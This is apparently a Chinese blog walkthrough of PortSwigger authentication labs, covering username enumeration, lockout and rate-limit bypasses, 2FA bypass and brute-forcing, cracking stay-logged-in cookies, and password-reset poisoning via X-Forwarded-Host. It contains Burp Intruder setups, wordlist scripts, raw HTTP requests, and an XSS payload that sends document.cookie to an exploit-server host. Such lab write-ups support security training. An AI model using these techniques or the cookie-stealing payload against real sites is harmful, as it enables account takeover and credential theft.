身份验证漏洞实验-portswigger靶场

暴力破解

通过不同的响应

Lab: Username enumeration via different responses

填写信息后抓包

img

send to intruder后,设置爆破参数位置

粘贴官方给的字典,设置如下

img

参数2同样如此,复制官方给的密码字典

img

攻击类型选择Cluster Bumb , 然后就可以开始爆破

观察放回报文的长度

length为3248和3335的是不正确的用户名

img

length为3337的是不正确的密码

img

还有一个length为184的,且状态码为302

img

说明这就是正确的用户密码

username : au
password : charlie

通过微小的返回报文差别

Lab: Username enumeration via subtly different responses

设置的步骤都是一样的

开始爆破后发现,返回了很多种长度的数据包,当密码或者用户名有误都只返回一种错误信息

img

那么就可以在filter中过滤该错误信息

img

选择negative search进行消极匹配

img

结果如上,根据状态码和数据包长度太小也是可以判断的

官方wp的做法是在settings中的grep extract中添加错误信息提取

爆破开始后

点击fetch response,粘贴数据包,选择错误信息,点击ok

img

result处就可以根据warnings进行排序

img

通过报文响应时间

Lab: Username enumeration via response timing

在这个实验中,增加了ip限制,可以使用 X-FORWARDED-FORhttp首部进行绕过

当用户名无效时,响应时间大致相同。

但是,当您输入有效的用户名(您自己的用户名)时,响应时间会根据您输入的密码的长度而增加。

在这个实验中,为了增加效率,会先爆破有效的用户名,然后再爆破密码

payloads设置如下

img

这里要注意,密文的长度是较大的,这是为了使响应时间出现明显的差距

payload设置如下

img

在上方columns勾选

img

根据响应时间排序

可以看到有一条响应时间明显和其他的差距较大

img

那这个就是可能的用户名,只是可能而已,重复几次,观察是否每次的延迟都比较大

第二次爆破后,还是这条数据响应较长

img

说明这就是有效的用户名

接下来修改爆破位置

img

密文处payloads用官方给的字典

最后根据状态码得到密文

img

ip封锁突破

Lab: Broken brute-force protection, IP block

在这个实验中,使用了ip封锁。这里ip封锁的逻辑是,当同一个ip登录失败3次后就会封锁,其中任何一次登录成功计数器就会清零

截获的数据包如下

img

这个实验的难点在于如何正确的处理字典来突破ip封锁

首先我们使用官方的密文字典,其中有100个词组,要使ip不被封锁,就需要每隔两次登录后,登录有效的用户进行清零

这里为了方便,设置每隔一次登录有效用户,那么密文字典的排列就需要在中间穿插已知用户wiener的密码peter,

这里我使用了python来生成,f是读取的官方给的字典

dict = []
f = open("Src/bruteforce_lab4_dict.txt", 'r')
list = open("Src/dict_list.txt","w")
for line in f.readlines():
    dict.append("peter\n")
    dict.append(line)
    
    # print(dict)


for p in dict:

生成的效果如下

img

然后生成100对winer,carlos的用户字典

for i in range(0,100):
    print(f"wiener\ncarlos" )

最后将字典粘贴进payloads设置中

接下来很关键的一步是设置单线程爆破,多线程由于异步的特征,可能会导致计数器不能清零

img

注意爆破模式选择pitchfork,就可以开始爆破了

过滤条件如下

img

最后得出密码

img

账户封锁突破

在这个实验中,当有效的账户连续登录五次失败后,就会将账户登录操作封锁1分钟

在已经有了用户名字典的情况下,就需要先将每个用户名登录5次,然后在登录一次,触发账户封锁操作,被封锁的账户就是有效的账户,然后就可以开始爆破密码

抓取数据包如下

img

添加payload位置

payload1设置用户名字典

payload2设置为null如下

img

这将使不更改请求的情况下发送数据包5次

选择cluster bomb开始爆破

接着修改payload2,让其有值

img

继续爆破

在结果中,看到了数据包长度明显与其他不一样的

img

这说明asterix是有效的用户名

然后就开始爆破密码

img

在爆破结果中,虽然会触发锁定,但是发现了一个数据包中没有错误的提示信息,长度与其他的数据包存在明显的区别

那么密码就是这个

img

登录即可

用户速率限制突破

抓取数据包如下

img

可以看出是通过json格式来校验凭据的。尝试使用数组请求多个密码

img

重放器发送后,发生302跳转,在浏览器中显示响应就完成了

img

这里生成json格式的脚本如下

import json

def read_file(file_path):

    with open(file_path,'r') as file:
        passwords = file.read().splitlines()
        return passwords
    

def gen(passwords):
    json_data = {'password':passwords}
    return json.dumps(json_data,indent=2) # ! indent是用于格式美化的参数

file_path = "Src\json_dict_pass_orin.txt" 

passwords_array = read_file(file_path)
json_string = gen(passwords_array)
print(json_string)

双因素身份验证漏洞

2fa简单绕过

Lab: 2FA simple bypass

使用wiener;peter登录

img

新加载一个页面,要求我们输入邮件验证码

在wiener的邮件服务器我们获得了邮件验证码,并成功登录

img

登录过程的数据包如下

输入账号密码后,跳转到输入验证码的页面

POST /login HTTP/1.1
Host: 0aa1009203188bad80a294b20032002d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0aa1009203188bad80a294b20032002d.web-security-academy.net
Connection: keep-alive
Referer: https://0aa1009203188bad80a294b20032002d.web-security-academy.net/login
Cookie: session=S0EQn36WkRufiAtNT12NAT3ODb1ShIl6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=wiener&password=peter

这里返回了一个set-cookie,用来设置wiener的cookie

HTTP/1.1 302 Found
Location: /login2
Set-Cookie: session=PYN4QFMIKBhaMa8qtPfR5iVazmphiJjE; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0

重定向的地址是 login2页面

在login2页面输入mfa-code,即可成功登录

POST /login2 HTTP/1.1
Host: 0aa1009203188bad80a294b20032002d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0aa1009203188bad80a294b20032002d.web-security-academy.net
Connection: keep-alive
Referer: https://0aa1009203188bad80a294b20032002d.web-security-academy.net/login2
Cookie: session=PYN4QFMIKBhaMa8qtPfR5iVazmphiJjE
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

mfa-code=0250

根据返回包,验证mfa-code成功后,跳转到my-account页面

HTTP/1.1 302 Found
Set-Cookie: session=ixLeN0aiQEspBMrBQkgLezvnOcnROBJ3; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Location: /my-account?id=wiener
Content-Length: 0


那么这里就存在一个问题

在第一次输入账号密码后,实际上已经是一个登录状态了,因为使用了set-cookie。

那么在第二次验证mfa-code的时候,网站可能忽略验证了这个mfa-code

那么这时,只要获取到成功登录后的页面,在验证mfa-code时直接跳转这个页面,就可以绕过验证

例如在这个实验中,输入mfa-code后跳转到的url为

https://0aa1009203188bad80a294b20032002d.web-security-academy.net/my-account?id=wiener

那么我已carlos登录第一个页面后,直接访问

https://0aa1009203188bad80a294b20032002d.web-security-academy.net/my-account

就会发现来到了成功的页面

img

从而绕过了验证

2fa验证逻辑缺陷 + 验证码爆破

登录

POST /login HTTP/1.1
Host: 0ab800c404f4195680f862ad001b0024.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net
Connection: keep-alive
Referer: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net/login
Cookie: session=ecJnLb0LfIxa0Xk4Ajzoc7kFEDW0WD5t
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=wiener&password=peter


---------------


HTTP/1.1 302 Found
Set-Cookie: verify=wiener; HttpOnly
Set-Cookie: session=fkS0mXcUrus7p2lH96rFj212hcF5BZuK; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Location: /login2
Content-Length: 0

2fa验证

POST /login2 HTTP/1.1
Host: 0ab800c404f4195680f862ad001b0024.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net
Connection: keep-alive
Referer: https://0ab800c404f4195680f862ad001b0024.web-security-academy.net/login2
Cookie: session=fkS0mXcUrus7p2lH96rFj212hcF5BZuK; verify=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

mfa-code=0875

-----------------------


HTTP/1.1 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=BkwONTW3tFwusHm0HnXIcr0l8mYMXK6C; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 0

对比两处的cookie,session值没有变化,在验证2fa的过程中,cookie带有verify=wiener , 来判断当前验证的账户是wiener

img

现在的思路是将用户改为我们要攻击的账号carlos,并重放就可以第二步验证的是攻击账号的账号了

img

在burp中的repeater中也是可以看到,修改verify=carlos后,发送数据包响应成功

分析的过程如上,然后退出这个账号,重新登录一次

放行第一个数据包

img

在login2中修改verify=carlos

下一个数据包也是同样的操作

img

然后就可以正常进入页面

img

随意填写一个验证码,登录

将数据包发送到intruder,并修改verify

img

payload设置如下

img

开始爆破,筛选为302的数据

img

在浏览器显示响应即可

img

2fa验证码爆破

Lab: 2FA bypass using a brute-force attack

在这个实验中,登录的账号是carlos:montoya

这里没有了邮件服务器,需要我们自行获取验证码

其他身份验证漏洞

强制使用保持登录状态的Cookie

在登录时,有一个stayed-log-in选项,勾选上

img

然后抓取数据包

在cookie中有一个stay-logged-in的值

img

base64解码后如下

wiener:51dc30ddc473d43a6011e9ebba6ca770

后半部分使用MD5网站解密

查询出来就是peter

img

那么这个stay-logged-in的生成机制我们就知道了,过程如下

base64("id:md5(password)")

那么我们要攻击的账户的stay-logged-in就为 base64(carlos:md5(password-dict))

了解生成机制后,退出当前登录的账号,然后开始爆破成功登录的页面。注意,要删除account后面的id=wiener

img

先导入字典

img

添加MD5加密password

img

然后添加前缀carlos:

img

最后base64编码。

开始爆破前一定要先退出登录

筛选长度最长的返回包,这就是登录成功。不成功的话就会302跳转到登录页

img

payload b64解码后 carlos:0571749e2ac330a7455809c6b0e7af90

解md5后 img

离线密码破解

实验提示了用户密码hash在cookie中。且评论功能中存在一个xss漏洞

这个实验中我们首先通过xss获取cookie,然后破解密码,以carlos的身份登录,从我的账户页面删除他的账户

首先在评论处用xss获取cookie到xss平台上。

xss平台为官方的exploit sever

payload为

<script>document.location='//exploit-0af000c604e4c40dc20ec4e80197006f.exploit-server.net/'+document.cookie</script>

img

location为xss平台的地址

在exploit sever点击accerss the log,就可以看到cookie

img

stay-logged-in值为 Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

b64-decode : carlos:26323c16d5f4dabff3bb136f2460a943

md5-decrypt: onceuponatimeimg

接着以carlos的身份登录,删除账户即可

img

密码重置逻辑错误

点击forgot password

img

输入已知的账户分析

img

告诉我们检查邮箱

img

在邮箱中让我们访问一个url

img

进入如下页。输入数据,抓包

img

发现url中和数据流都携带了token

img

删除url中的token,任能重置密码

img

删除数据流中的token,仍可以

img

这就说明了,重置密码时,没有验证token

这时将username修改为carlos,发送数据包后,重置失败,提示我们检查链接

img

这就说明后台可能先检查username,再检查token。如果username正确,那么token可以不存在,但username错误,可能任需要token,但可能不会校验值

那么不删除token,只删除其值试试

img

这样就成功了

以重置的密码登录carlos即可

通过中间件的密码重置病毒

在这个实验中,需要用到一个首部字段 XFH(X-Forwarded-Host)

XFH用来确定客户端发起的请求

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/X-Forwarded-Host

在 HTTP 请求中,X-Forwarded-Host (XFH) 和 X-Forwarded-For (XFF) 是常见的请求头,用于传递关于客户端的信息,特别是在通过代理服务器或负载均衡器时。它们的作用如下:

  1. X-Forwarded-For (XFF): 用于标识客户端的原始 IP 地址。当请求通过代理服务器或负载均衡器时,该头部将包含一个或多个 IP 地址,表示请求经过的每个中间节点的 IP 地址。这样有助于识别客户端的真实 IP 地址。
  2. X-Forwarded-Host (XFH): 用于标识原始主机名(域名)。类似于 XFF,当请求通过代理服务器或负载均衡器时,该头部会指示原始请求的主机名。这对于处理虚拟主机或需要知道原始主机名的应用程序很有用。

这两个头部都是非标准头部,通常在 HTTP 请求中使用。在处理这些头部时,应该格外小心,因为它们的值可以由客户端伪造,但在特定的网络配置下,它们对于跟踪请求的路径或识别真实客户端 IP 是有用的。

先登录wiener:peter

记录邮箱地址

exploit-0a390057039bed5c817dab5501dc0040.exploit-server.net

然后退出,重置密码

img

访问wiener的邮件服务器,找到了重置url

img

截获重置url的数据包测试

数据包中没有username字段

img

删除token后,提示没有username

img

那就说明username藏在token中了,那么前面绕过token的方法就无效了。

既然username藏在token中,那我们将token替换为要攻击的账号carlos的token,这样就可以重置carlos的密码了

所以下面就要获取carlos的token

我们先来分析以下数据包的流程

首先是一个post请求,发起重置密码请求

img

然后访问邮箱的重置链接

img

输入新的密码后提交数据

img

要获取carlos的token,按照正常的逻辑来说,我们需要carlos的邮箱,但实际上是没有的

这时就需要一个邮箱来充当服务器的角色

这里就要用到漏洞服务器

在数据包添加xfh首部,host值为漏洞服务器exploit-server地址

img

这样,后台服务器就会将密码重置链接返回到这个地址中

这里的原理是,添加了xfh首部后,服务器处理时,可能会将返回的数据包的host首部设置为xfh首部的值,那么服务器处理返回的数据时,就有可能发送到自定义的地址

访问log,就获取到了重置密码的token

img

temp-forgot-password-token=n3vljqcpe6i94ncvotak9821px3c91kn

将token替换,就成功重置了carlos的密码

img

通过更改密码暴力破解密码

首先使用已有账号分析

原密码正确,新密码输入不一致时 – 返回new passwords do not match

img

原密码错误,新密码输入不一致 – 返回current password is incorrect

img


原密码正确/错误, 新密码输入一致时,都是302跳转

img

img

就无法判断

加下来开始爆破carlos的密码

修改数据包如下

img

username为carlos,两次新密码不一致,将origin中的id=wiener删除

字典使用官方提供

img

检索匹配新加一条

img

在爆破结果中筛选得出密码为dragon

img

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值